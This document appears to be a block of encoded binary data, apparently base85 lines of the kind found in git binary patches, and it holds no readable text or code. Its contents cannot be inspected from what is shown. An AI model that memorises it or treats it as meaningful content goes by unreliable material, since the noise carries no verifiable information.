z)bkRE=fPwtEMV2gmb9bm%g65KTaCROn1^>g8}B;)^k=W#^DoI&MWEAuH_NReUbRtu z$KH-tFcm>v&P=^Ds_ee<-!OTFGK(Op{eK%m#Lpp3<9ADm48BTc(H)Kxi}JA_91qX0 zgZF?|nSssLn2>(1F@a}o)$!P5jV#Zg1s(*$0_N<;?L#N-XRZ|g5^s8toX4{W z-E)&KpSeQ7{|;um2K<0i^5#eq*=mcHO zZ#2JPLEQr!F}#{oy`_*WS*@Vs=T!upR?A0N`SyRiTH^YDn7=s0rnOt|Gh zH2xNpipBWb12T0QJRB}PpXgHbEYYbb zwJ3bQm>?RUv4w1SCQd#$Nj2FG;}nW>(GKIYr0DA?yVbMT4>nv6w4VEIMYe;_JU|zn zcO;yh&hJ?4R0m>-N)-rdzRSKMuMR8W%dy#7_I;e+dL?n}7i|_I^ zu8QTX4$&=3gkOo#tufJah&!;OE+DQ3!@Yi(j|moc23sq<(!iIns*znoP0ojhnkxuh>nE7i*_?$rs$yHWOhx_Mk) zrfAS1*;22|4OXRl_zQQt^y{kvS3Org;l`l0z2Lc$(x0du=zv{Lqd?eIVU7Q31cdk! zX{2&;>?B~#b3>ewOj5agw^1)#rHBxBG`O-V^QHTdB{59vG`SE*&VaGTNeJi9i@{tq zG<-S$b>m8NYuImfPEeCw<#aBEo%ZQyo?c5`C@d^AohYFqQ`ygL4mk!26}jQ%rEO>{ zYggfNH-}qm+O6p0ls~17z{8UeY%j9m!mTQ!O*i<~3bKkneJG7;aKC-RoKY0foSmiz zmFbM20jZ{k6F$v79VBjy3D|Qp&<6z3h$_7A0KA*~sBqR>j|V7H6rq5>R+EaE$aZ$o zs1jXcR@Fr)8@MHx3x*Mkd`zj6=Cy&|cKC=>`1VyZ3i89Wp#i((K8bYuCS_ULvJLW zIEV>{fa_#*70`*o%caDwjji7{_{`E_X^h*Uh~Sn$<7`-AYb3p@H%DQ~IXmIqC6;O8 z$LOBS_*escZTDs|!35b)L2I%hrcu30x=(>3#*Vxt%Hz?)05c>uZ3jG)czH_9?G&5^ zmpqW0eCp>21rZX{uiFOG84*6uZ_8(*l-!yv1HtqL#F%?<-fCl=D$8lV$5hSNwu}gR zReIOg2~1#vHT057e1VUmqAKJb+UPHe+fOwh*V_-plA519f))7(4wXa-NaLlE6Y$oL z>-yuve+nLO{I()N&&$yA!eQgfIQx{u|=QM__9C?hq^KzDHsOa0Knh0Nt4Q9XFb&4j@ zyterJ3yrd#YXuc!$ykd5NFBe)r8x5DMSvl(Le{WKzHo;Fc~x0i#^|S_ zgyk{x>BZ}wo$F@WMPCfA=LhejS2mc%^@r4x2A$VCosc(hw^KjmxzAv`9fW$!h)EN$ z7gc3PymlJmRR%VWk~|D~%1JJrL)Ss( zZ^ePwITZEx7q@U0XMXSF`>(1zkRaCoqb4#{NwW2!8`YK&Ui2PEm^;B$p`{c3#b}KT zDLOF%g)$32fcD@%vdKDIVA=5RwV@8?c~wVUYq&LcJr2XZ{M98;rC`%>C48mbdE9_W zQNLy0a)`f5&;rCTqPJj`4CUDiD1b`>2^h+?h%ok~Fw}umbfEmy&iq@xRy<6zXSZ4* z(`VOCWZ>zwen&?5VJ*``vRa7w2_EY2RRRvaG$4jnQ{5D)))EsmsF>^SXjV;$6VgH3 zBW2P*;*%#ML1~s~#K?+kP3qA3*csBOs#dwdYnyZY$G)^P!gUi<3UAL0HGPYE$q9kt z@PTQ2)dlZ(nG_Qp{|#BueK)0bAXjk^j!fC$Xt$N5vV9ukttycm^j^o5GK09h9(uEy zELyT!>`StqH88W@c$IuRG8r$uuSw5;MOsXh)^+3A$QSXgjl!98H>Cq0FX1LEJ{$Hp zDYHGICHB_UB8#j~qjONmsSv6B*J%?3SDEbKm*;bCVJ59WR7tM#XOo_otyOlcdC>#TJ>W!Qe zPAesGhVoJ}V$!?*p$H;Tat0`S6lfgvFiiYXw!jFQOxA|XM6?^R5eBFOB6 ziSa}{BBik`RFf(5^{e@7PzL$~NqG$bX(AYEW($${-v#~AZK4D$Fh6ufxM!!HSy#|L3GqOtAj+ht2{g25lTuM#!2Ci6Oa)g(}UXc`P-i1sZXxMp2gbQb6Lx z!e)`n1oeML@?9A38|~KNt?xxq9Vl17AptbS$wZ^iGLw%!B6SZlYF*}yOy*uG%p8bZ+-XcJXIg+kfSW)9}8wBH+{4vnJOe) zkXhLWyvq!|VTIAsfaY{1_O?0d_fylU$i~=J>{o&mj$k+abojkS2@vsnX@X)=K(wsJ z7#GbSqlq60-(Pm^5v$mQ?wpVd=-WD-Z9MW*pXeftL@9DGL@_JB> z{(8SfIjHqu$;(O6edhC1c8_BZ=e;vPh5+oYY`xj^jn#Fl#_q?R*zUTEbZ~Pb2JL0} z;301^c{4m{Yw2$1FQo3+nnlt7@@3uS(1&s&*N$m(DzTR6LvZs&Q_DXx@Ae=0-ECMG zR}kD&2{vhS4SHnL$E-HGvqT-soU#s&=%ABLYhg|*(}$RDacp5*tH80*H_gPo_PSG? z0BvK$Xa|6as>)e!B=MxaT>si|JJE?_#7g(eh48gKw#&v}P)6a;>kfO`AH6?e=Hj%( zZGzK<8w_I{EdfA;>XJiwQ`9IEaOJEY4m!rzMX(E<&#zpTsr0`N<6Q~a!6bRx*34&Tv6-4PfT>kw13YDhwf+<)sNpBO(Zxny)B_82| z1CKO?m=2YP+79ZGf84Aw)8H}-q%FPrIE1LJ^2X~Rne`b&+9ssS$kc-%h1Hv7U&@rl zNYOK!WwF{~*s(I=Q8wH{iq{80>q6Sc6PU1G(CLkKliY;yhz{NWJs0@-&6e~uPZSzE z4GVe!Hs0u`kL3H%;AbbwAVF&Z;(!-#B#$Web4mzYNC>BpqdH_nzNwfVZozzSsH7tR z6A>U4sKNIsjdVFCnhi32lF1Mo9DJS@RwdL}g7a1(Fzerzg|5O&&MwTY!sqy%(4|7o zJ%xD!VY-Bca0aNdW};B28J(k{)fOi)(x_nt@ZpLd?t^O3e1Jb!JCcNMH+IazTT~M6 z3VAv*{l>!=aK*7O!8RAGTCld4R$>=JIVP$jXV?(qHSUOr(MyMNTg?0FHv9$~VIgJx zqiicHsd=`q&m@c@G`=@>!kIOWcAOPBnXRR@)FZapVR?V=U6><|6J`^RyNydg`hkPq zI!>-e)#_cam!Fb0;7owrNEk}B1TaIW3sgUQx|f_NtJNwg1pv@jK@Qmsuki5UFl&ho z!czDzph~J!I}=S(>Ns*p666TdIx&M@V#csk4E+gb`+CIE4&`v6fS6&RHv+ zi-~F8NS6zS{rj#)yw>$&(~;^A-0TE`6vRI@VK@5kGjEhCaFfSdKTW8nvKkw;MYu|< zjpB7f@mR{faT6a;O5kHq9krg0)=7$wf2*;h64rC<^Y`^hhzuerFHRa^@bJD(B?bJ> z(WHn{L4-lKrhG94VpRAMMTxp{R%DC>Bk;;;ponv00I6);3!<8PpJX7!0xoOD-;BGc zwTt%bpTr9CHq~;~A%FF%bnDz#5yKOul*`!5K4Udx$a06bTgte{h_caBQ#=Wbud2v0 zz{l|UG>{!VUDF(nW57uV$R?x<$VyrvUA4VkavAXau@59YcfG+?A7>sxFMR=~Adv6| zf;fsWJNrUh8Qh`aGE%lvhOK@FX&3B$v4PZ-ddv;ctlNNq?M#*dEi=gjhe@|0>5nMU zbL7iuAs2N6+;#`%j{fm_{$?!xHFuowI@WG!ZpT6u?&0z6v#?$xWFJEUkLV!cO&U&z z_}~%wn9>pfI^l6RME}liIbEE1ifJlg!oYBrll1!p#FsqD!^G}97!S}-q7z2{plhWY z7RE`xOd1s84E?yd>Qw!ZW0}S19nYyJ%O!Ky>@MTPb#xO)JrwEVb6c|v&~`BGZm3u9 z{+z`gOzHLvxsuP0SJbdhw;9i|Ij8wfJt%e4ZMjwpzA8JERn1~`WwvmUnE_2K=H>PC z^N?xNn&CJsnoe|uj*Xsyi&GKX6kJDNxkoJ+;dCnGudC)JjEL@Qu7c+}9tN7nHDquZ z`i|%lwUU@MNj8p!@`iRKCtz%P=PVf$Y?*Fn#Y&l%E|7A!WX@n+NF!>AhsVw$(HFxX zY|dN?3j#)iAVgfrk8~J!IMP)j6o?r_PMPp{*cqqV)OYM>XOW^?gx`j8XPL{jL zERnc8*XcyrJYKDXP{ZAZYga}@n!tv~MI2qH>?ES4LS$ir?o&)*MtBJmTtf>G@KO+Z zFeEAS(Nd}}=jE5Rgl5b`=rov-a^M$c=i%_BW?-W-oEGj+PFyY5v4moHj^;N@Os@C= zUtpUWBhgN>8W4jvcHv5JQ)gYGrJb+DjS>aVq(y37_rgh+JfS717Vep$syblSPf)qQ zRAeI$m`-{opV0$WZGc;x2a;&VGW-3F%C~l;GO(*215a8uG}jNt+pZ~X?T+!6`LVyW zOwauGb~W1^xJ;r{x``3G|P$*K>cU7qFu? zJPjHSb{+?mrV50YJzSe+$3Jg=AcG{PX%;W!q5Z%R_PxVNvfrU2N(d%fBu@wiyAT{R z`A|-ZK3C_;S*acP$|s>g8IDh0iMUh7o9?vtsfAe&f#)g@cjT7Ptf;30_rB)n`nA_L*O2B`gbG%_(}W`jvlBJJgcgVb1~GZ%}wEgr}vdmUOuO4{yQ`nVXj| zN-|TIiryaI(W)P(j*&o>r>`a@C!0#YMakHv-;S>Faj7NT9O0uRfH&PEIx+ZUt!CZ6 zIi#!&n?durhTl8}c(r3)nrq4|VeRah`P&)nL@@70SpUsvH6CB5H*m{W9=+t>>@$w| z244h~J>sc`AsMkjUTgB}kM_qA-xCdUH6i<%qi{=NrQzqqFgx)nN#mrHx)H4a!39|; z)(@7>pQv-^Y_FGhZGRf2BwJ|uo#D9dDX~5m;C?ZPG*CSGN455 zxyu+gMp)|0YA#Eap)hfz9Pheewhh)h*KvW-3hvl`xZ@n@6@!=nVPh*{dS~yyh3&qM3*|Y*TnB(Le?otj1Bc!bt8hh-r%G zr}kdXVytEbQ}y2?CE5F;G_QAT0+OdJvnSMFhBd*v+Cc^$VJfqVdx9^%|I!OB)0{QyB5Sv+8FPO=Sx)^A>qGq!I@pwehp`ua@`xn1*ie z_xQI2JcjdQC5DL$N^mw=m*$-%*F4jwb^%q_u<}CLRj67O(P;Oa@7M`3J5v2yS3k+Q**W9MWu-H45}JAwK}B(hP3cNDjq<9Z{S5# zI1nV{kg~^9XJ?Nbn-hW*D(7gD7mWN8A2(Jp1;XJom7MGO8v20Por9S?Y}Ar_wJPPY zO!3z^f7UqQ#7-l-G*4viyOq9~Z>9NWbXx_(qxoJ}SZCo6F(QW6kU9m(N|wycij`x| zRE3rSE9~K*Hc!1hYTg9A*x=qtYhU=)cE(vy+BIxYQnkDN#A)4|U zqNAb6Kds%p_6W1K4QQvNVf&O=H?p%oOK}|owg+u#5AlGbL4*K{fYc=(CcVo#%rSY0 zG7yCUs@Ocl@4^O+wReR&dUh<8=*?x3;qp4*FL%g}jx3%{=a&?@U|%ZAj@+#8dD$fi zbqrq5U@8E7jk%1ckA*S@WmKOJ9}8=bYFS|1U&P|Md8{KX*{JS)e162*y-s~b1E>>$ zFN#KOo^`m9R?Mzztv;NY?>#5$UHmigw6r!570GUow{2}R_cQzr5w<;bPg7lye;|$=$u!|0_dDzsghaydcoY?fk@AHM zTntn(dr!Gu-t{~PFl9r;!O7f=k%ovw-^Nmo4)3L4=p=uFuKdE>YY&dTh#rstCnC-X zx_?5vWo|C#DYl|BKvIlP#E!6|2DC`?H5c&IC0So-^9Pg*zI_cdJ=8jAn~xh2;Jo=A zJP#1fM1B~QJH$5NvKtB;IwlgYE2E@u~~d-d+vC;c5f<~h@C`J42z!lLYy^Pxtt^8o-=U#g|E^FK^ZQ`&zOo^Ly$@gM3_BU;RJ$QGZ($!-mRa&5S#G>+(Wr%PUJ;|@vH{T zB8d9HZb|8~-8x{$b8=zwpemNr;*gVUzZHGolMWM9-Ar&M$eSggpe|_eZg=7r;O$9x z5DnZ>gjWt~ zNbkb7El$}FJJ;rK*+l*L1WA1$>7*9joixj0wLaaj1(o1 zGuMy5<|vjb>edEjpJNtDQS(J_-A?^XGNpA8O_(Ki&ra1-?(0Q7SlfD%hq|ZRhsFyu zhppwnNGYIs)|AQhFqEBE*`u%N{{c@}$V8+)!<#JS0X{%~P_j6aRhA;6cCr$|LtC9Sg+z%1Ro`56-9Jg$f&eZEKed2+ z2S00G2mpT$^pFZjL+LspKB~YccXfDyONkjkYqQkbGbtF|)Xp$Q)TrL%Uy;1u;ipH;Q`EkDe?Pjv z6l`LYEhD%FM9Oz>iMudfcgV`tC>T;JBr0 zdqa9m^oisJ9wf=a8IlucSvD#Bgh9M-IKB9-_+C;p24-^ye%OJGMSHXfQ?=ZA#`_nJ z6lA-9j_8Y^uDvtFOhcEZCEGztoY1xBs+^ATlh+<;POrgbc8Lt9)1a}p8plCu$)x1` z4^af>hx0|hsYm}|bFim-!fgM~9)m}n(vC*g>mzao8e=k1`M22)TE|-L$0A`j>^ICx z7w$3eSA~Z7n(0~W{lp#OiHtUMx3!3UJ82WrdXsQh(`It=Va(U${p#xAz**_;GR9p{fIa~pZ%;EP{5=>dGono@cL3` zFDURMEv6kubv1byTUu!F>|tmjxeu{t8=hsx(>Q;f3tJpVLy#rN>U&~~Qae9XcS%N*`+WLd225~Jk|#A@x0O>_ zV!{Iz-7y1_psM_wo+;O>k7J&6fGCF!y&8w)si9kR{#&A%GK1+SwpJm8+rCIz{6-om zLx`+9)Sfan3nCQf9L-<#`Xr6x#ZTEvmL>hI&0~pgbLj~v*3tWNz(f%D%ge(n4DQJ< z>~bE1(;=WKs{qxD=9}YOT9s#SRhJ25+X$t`2YpqhCTJAMI+ypdy~SRcO-cGi6E*`& zi>Rs-(b~c37)xS)clM||^Tq|?Y{GVXIjF`BxHJCqJW64KeN;J8x!cCPLL*^aojYVi1Z&)1gxrQuKwaWm2EB1cKrlbjMm7SNN?7p;wJe zjP{3%URA%so5lbjpZj&$*|JsKk*LbsSm`HQlsM^b(5`eC<8`PV|O7iyFmm78(srwIK!$1h9 zA}HT)i-6v*(yHelN03=HCA2V=PwR2@6IICh`I#q5dGgf>v8Y+#R7kV^p`3;P^z~U( z&gvpv$jQC0b_Y4+bvUV6fCGLLzy`-PNM(EAmQO4PS zg%R5UDE1GRtyIMIl}>{TADe2GZ0V|)J_b(N;S? zBA{knpmjUo3{YfFy~FJ{NnkoGFr#_?$XtUV!cn2*eKHEVk0AO5(vq0kDMjn>QwL;4 z;KEIzQdbeS&h4g;s-36E?DsPqV?i-N%nZ~J&kbt=DDAW-8U(YRg)&U`rO_80|07V%(n*`3~6FO7@)RY}C9i&m@M~&&`}*^|NWLwq$~TaHJ}}^lVI#$F`9PD} zj~to((g=lj|62zowEsz^Cv(d40}fW?*Hq57;cfy0I4%6}#06^z)ASX*6BKo1n<=)~ zg36Z@Yo{b(if;D1A>}94@ve$T<+R+!qaAy-=RQXyW*mYla#zto!CWJD{q@*(uTA5Y zm%Q&i9rd^65rBliw~7`X?j0su=ffAvH?l$Eva4}rwW~L0>GKphC9GYc!BDJS(;tsvQC09a4VGxkmpveTq6r_cT+ zX;|pp&c7N8Zak;s$lLdQ(m9PeS-p`ScK1)@4CWRIcP>I~u^)0sNC#@AG-5D#&^^8_ zKVIVR{?6&tUvrxJ@FOQ_^S;}&^g7EvMk=f)Ib$D_#ma27?52=V&^J42wfT(pGY+dI zmYdhC>qAyT_M*ZdF9aGF;r$R{s*M;k@PSF0-{)Ty-`?e?1rSC(C03 z>|kA>x3b7tvYdZa31%Gx09+PII6)h9I$7aP`hBsk;?o#svtP?b$;q4B>O$jFw2V4a zvXD`~`(;7@sBu>R$d6U6LR2x~gb{4C7Eau{Jh7o^UOj2KnrE}-n@7|B@UA?C$6I*MFC%Vbje|Ke5kET6&67TL8~a%w+a{aHb@qA{`zDVIR}O* z?JKRESfrboOk> zdmBMzvH6u~G6b1|jO4`(5@QDGcA1LCVrp;m-9K=V`KkiWc}*&SfVZ|t*(l&c7NJb} zApE5_aM%NOY{Fb@DkW6`u@$h6GjZbxDFX;h0Fe8~GLDZ^Q00#EPX8d| zX|$t;|6==wwx=B-w@?v`XdR(@^h+G~OSQ zpUib2Bgl`9iWua`U;=*lxL9e?60N-3(Y%mNPqEPJ)^AqM5`9MZPJzQrpbYCoDaufP zaRd+i=ru*QcB*rXFZaSQkpuT- z(*^#zu(CFvve!fb2IckU%?)J~p@=o90)n^RL8`_fat&1Ygql z9l2I<;KyD$71HL)3Wc_rnw0y5@i03@%Jh%FmJ2)#Fd}%OrHsGCAZz`aQI1)hwS|VF zqey)7mvv#)H+jl69v)%{JIa^D?1)^|<7rka84ho*lch|A@IxLYB*kNK zZO~d9Qy`6ZT=-qYWY&e@`IF^H{ z_%En*tN+XcdE6CuO_Z=9FGQ5^S22W$0n!+Z0s~cAZ%UMuk}2Gb{;3#r%w{Y)X71~B zyUnRqUr*IIrN4j&U^wF4pdzRY?`qf10^e1#Gi&GVsApxmBZd;>_%y8HQ@*qG|-^pS7<3iWN&s+e@mL9`@QJX_5BRfE322k{sM;H=}+oKvKgMAcc;ULCGM;|t% zzubr$+P)s6sf6QdYX47~!j*TczMCYw?3g*M%eNOC